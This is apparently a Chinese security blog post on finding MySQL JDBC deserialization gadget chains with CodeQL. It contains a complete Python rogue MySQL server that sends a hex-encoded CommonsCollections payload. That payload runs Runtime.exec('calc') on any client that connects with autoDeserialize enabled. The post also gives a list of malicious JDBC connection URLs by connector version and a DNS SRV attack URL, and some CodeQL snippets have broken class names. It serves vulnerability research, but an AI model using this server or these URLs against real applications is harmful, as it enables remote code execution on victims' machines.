前言 网上大部分都是直接分析JDBC的过程,我这里就不赘述了,这里说一下用codeql分析的思路
前期准备 pom.xml1 2 3 4 5 6 7 8 9 10 11 12 <dependencies > <dependency > <groupId > mysql</groupId > <artifactId > mysql-connector-java</artifactId > <version > 8.0.19</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
加载完pom以后调试的时候会显示download source,这时候就可以把源码下下来了,然后去repository里面找到源码
https://github.com/waderwu/extractor-java
用该项目去生成database
java代码
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1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import java.sql.Connection;import java.sql.DriverManager;public class Main { public static void main (String[] args) throws Exception { System.out.println("Hello world!" ); String ClassName = "com.mysql.cj.jdbc.Driver" ; String JDBC_Url = "jdbc:mysql://127.0.0.1:3307/test?" + "autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ; String username = "root" ; String password = "root" ; Class.forName("com.mysql.cj.jdbc.Driver" ); Connection connection = DriverManager.getConnection(JDBC_Url, username, password); } }
python的恶意服务器,记得自己用ysoserial生成payload
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1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 import socketimport binasciiimport osgreeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data (conn ): data = conn.recv(1024 ) print ("[*] Receiveing the package : {}" .format (data)) return str (data).lower() def send_data (conn,data ): print ("[*] Sending the package : {}" .format (data)) conn.send(binascii.a2b_hex(data)) def get_payload_content (): file= r'payload' if os.path.isfile(file): with open (file, 'rb' ) as f: payload_content = str (binascii.b2a_hex(f.read()),encoding='utf-8' ) print ("open successs" ) else : print ("open false" ) payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content def run (): while 1 : conn, addr = sk.accept() print ("Connection come from {}:{}" .format (addr[0 ],addr[1 ])) send_data(conn,greeting_data) while True : receive_data(conn) send_data(conn,response_ok_data) data=receive_data(conn) if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' payload_content=get_payload_content() payload_length = str (hex (len (payload_content)//2 )).replace('0x' , '' ).zfill(4 ) payload_length_hex = payload_length[2 :4 ] + payload_length[0 :2 ] data_len = str (hex (len (payload_content)//2 + 4 )).replace('0x' , '' ).zfill(6 ) data_len_hex = data_len[4 :6 ] + data_len[2 :4 ] + data_len[0 :2 ] mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex mysql_data += str (payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break if __name__ == '__main__' : HOST ='0.0.0.0' PORT = 3307 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) sk.bind((HOST, PORT)) sk.listen(1 ) print ("start fake mysql server listening on {}:{}" .format (HOST,PORT)) run()
选用方法 首先是选用污点追踪,还是用polyCalls
的方法,这里不用多说,肯定是用polyCalls
这种函数调用的方法去找出链子,因为这里并不是说像分析springweb那样,追踪传入的get/post参数看他有没有sql注入之类的。
找Sink sink就是readObject
,找到哪些函数调用了readObject
.
1 2 3 4 5 class ReadObjects1 extends Call { ReadObjects(){ this.getCallee().hasName("readObject") } }
因为这里的readObject
是被调用的,也没有任何的定义,所以继承Call
,getCallee
是函数本身。 如果是this.getCaller().hasName("readObject")
那么就是readObject中调用了什么函数,结果如下
在这里可以找到3个readObject,但是调用他们的函数只有两个,分别是
com.mysql.cj.jdbc.result.ResultSetImpl->getObject(一个参数)
com.mysql.cj.jdbc.util.ResultSetUtil->readObject(两个参数)
那么codeql可以写出两个sink1 2 3 4 5 6 7 class ReadObjects extends Callable { ReadObjects(){ this.hasName("readObject") and this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc.util", "ResultSetUtil") and this.getNumberOfParameters() = 2 } }
1 2 3 4 5 6 7 class ReadObjects extends Callable { ReadObjects(){ this.hasName("getObject") and this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc.result", "ResultSetImpl") and this.getNumberOfParameters() = 1 } }
注意这里是Callable,因为是找函数的定义,而不是调用
Source 一般来说Source就是比较难找的,sink无非就是那些危险函数。source就千变万化了。 在这里应该就是getConnection
,但是getConnection
在packagejava.sql
中,并不在我们分析的库中,所以这里用
com.mysql.cj.jdbc.NonRegisteringDriver->connect
1 2 3 4 5 6 class GetConnection extends Callable { GetConnection(){ this .hasName("connect" ) and this .getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc" ,"NonRegisteringDriver" ) } }
完整代码 按source分为两块讲
readObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import java import semmle.code.java.dataflow.TaintTracking class ReadObjects extends Callable { ReadObjects(){ this.hasName("readObject") and this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc.util", "ResultSetUtil") and this.getNumberOfParameters() = 2 } } class GetConnection extends Callable { GetConnection(){ this.hasName("getInstance") and this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc","ConnectionImpl") } } query predicate edges(Callable a, Callable b) { a.polyCalls(b) } from ReadObjects sink,GetConnection sourcewhere edges* (source, sink)select sink, source, sink, "Sink is reached from $@.", sink, "here"
第一个没有东西链子
getObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import java import semmle.code.java.dataflow.TaintTracking class ReadObjects extends Callable { ReadObjects(){ this.hasName("getObject") and this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc.result", "ResultSetImpl") and this.getNumberOfParameters() = 1 } } class GetConnection extends Callable { GetConnection(){ this.hasName("connect") and this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc","NonRegisteringDriver") } } query predicate edges(Callable a, Callable b) { a.polyCalls(b) } from Sink sink,GetConnection sourcewhere edges* (source, sink)select sink, source, sink, "Sink is reached from $@.", sink, "here"
有4条path,分别是
但是他只会显示一条路径,所以要继续分析的话,就要继续更改source,改为1 2 3 4 5 6 class GetConnection extends Callable { GetConnection(){ this.hasName("getInstance") and this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc","ConnectionImpl") } }
createProxyInstance getInstance
这条链子就是网上大部分讲的东西,但是刚刚那层connect
为source的结果还有几个proxy的函数就引起了我的注意,在这节就用createProxyInstance
作为例子去分析。
可以看到,在getInstance前面多了几个步骤,这里源码调试 可以看到有很多协议头,这里应该首先去官网或者google搜索该协议,而不是去调试代码 这里搜到了
https://dev.mysql.com/doc/connector-j/8.1/en/connector-j-reference-dns-srv.html
mysqlx+srv://johndoe:secret@_mysql._tcp.mycompany.local/db?xdevapi.dns-srv=true
通过该payload,可以通过dns srv记录去攻击
DNS SRV就是记录 domain对应的ip,而且还能记录下port
但是这里就不搭建dns服务器了,至此就分析完毕了
后记 这一节记录一下常用的payload
detectCustomCollations链 5.1.19-5.1.28 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);
5.1.29-5.1.40 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);
5.1.41-5.1.48 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);
6.0.2-6.0.6 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);
ServerStatusDiffInterceptor链 5.1.0-5.1.10 1 2 3 4 5 6 7 8 9 String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password); String sql = "select database()" ;PreparedStatement ps = conn.prepareStatement(sql);ResultSet resultSet = ps.executeQuery();
5.1.11-5.x.xx 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);
6.x 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);
8.0.7-8.0.20 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);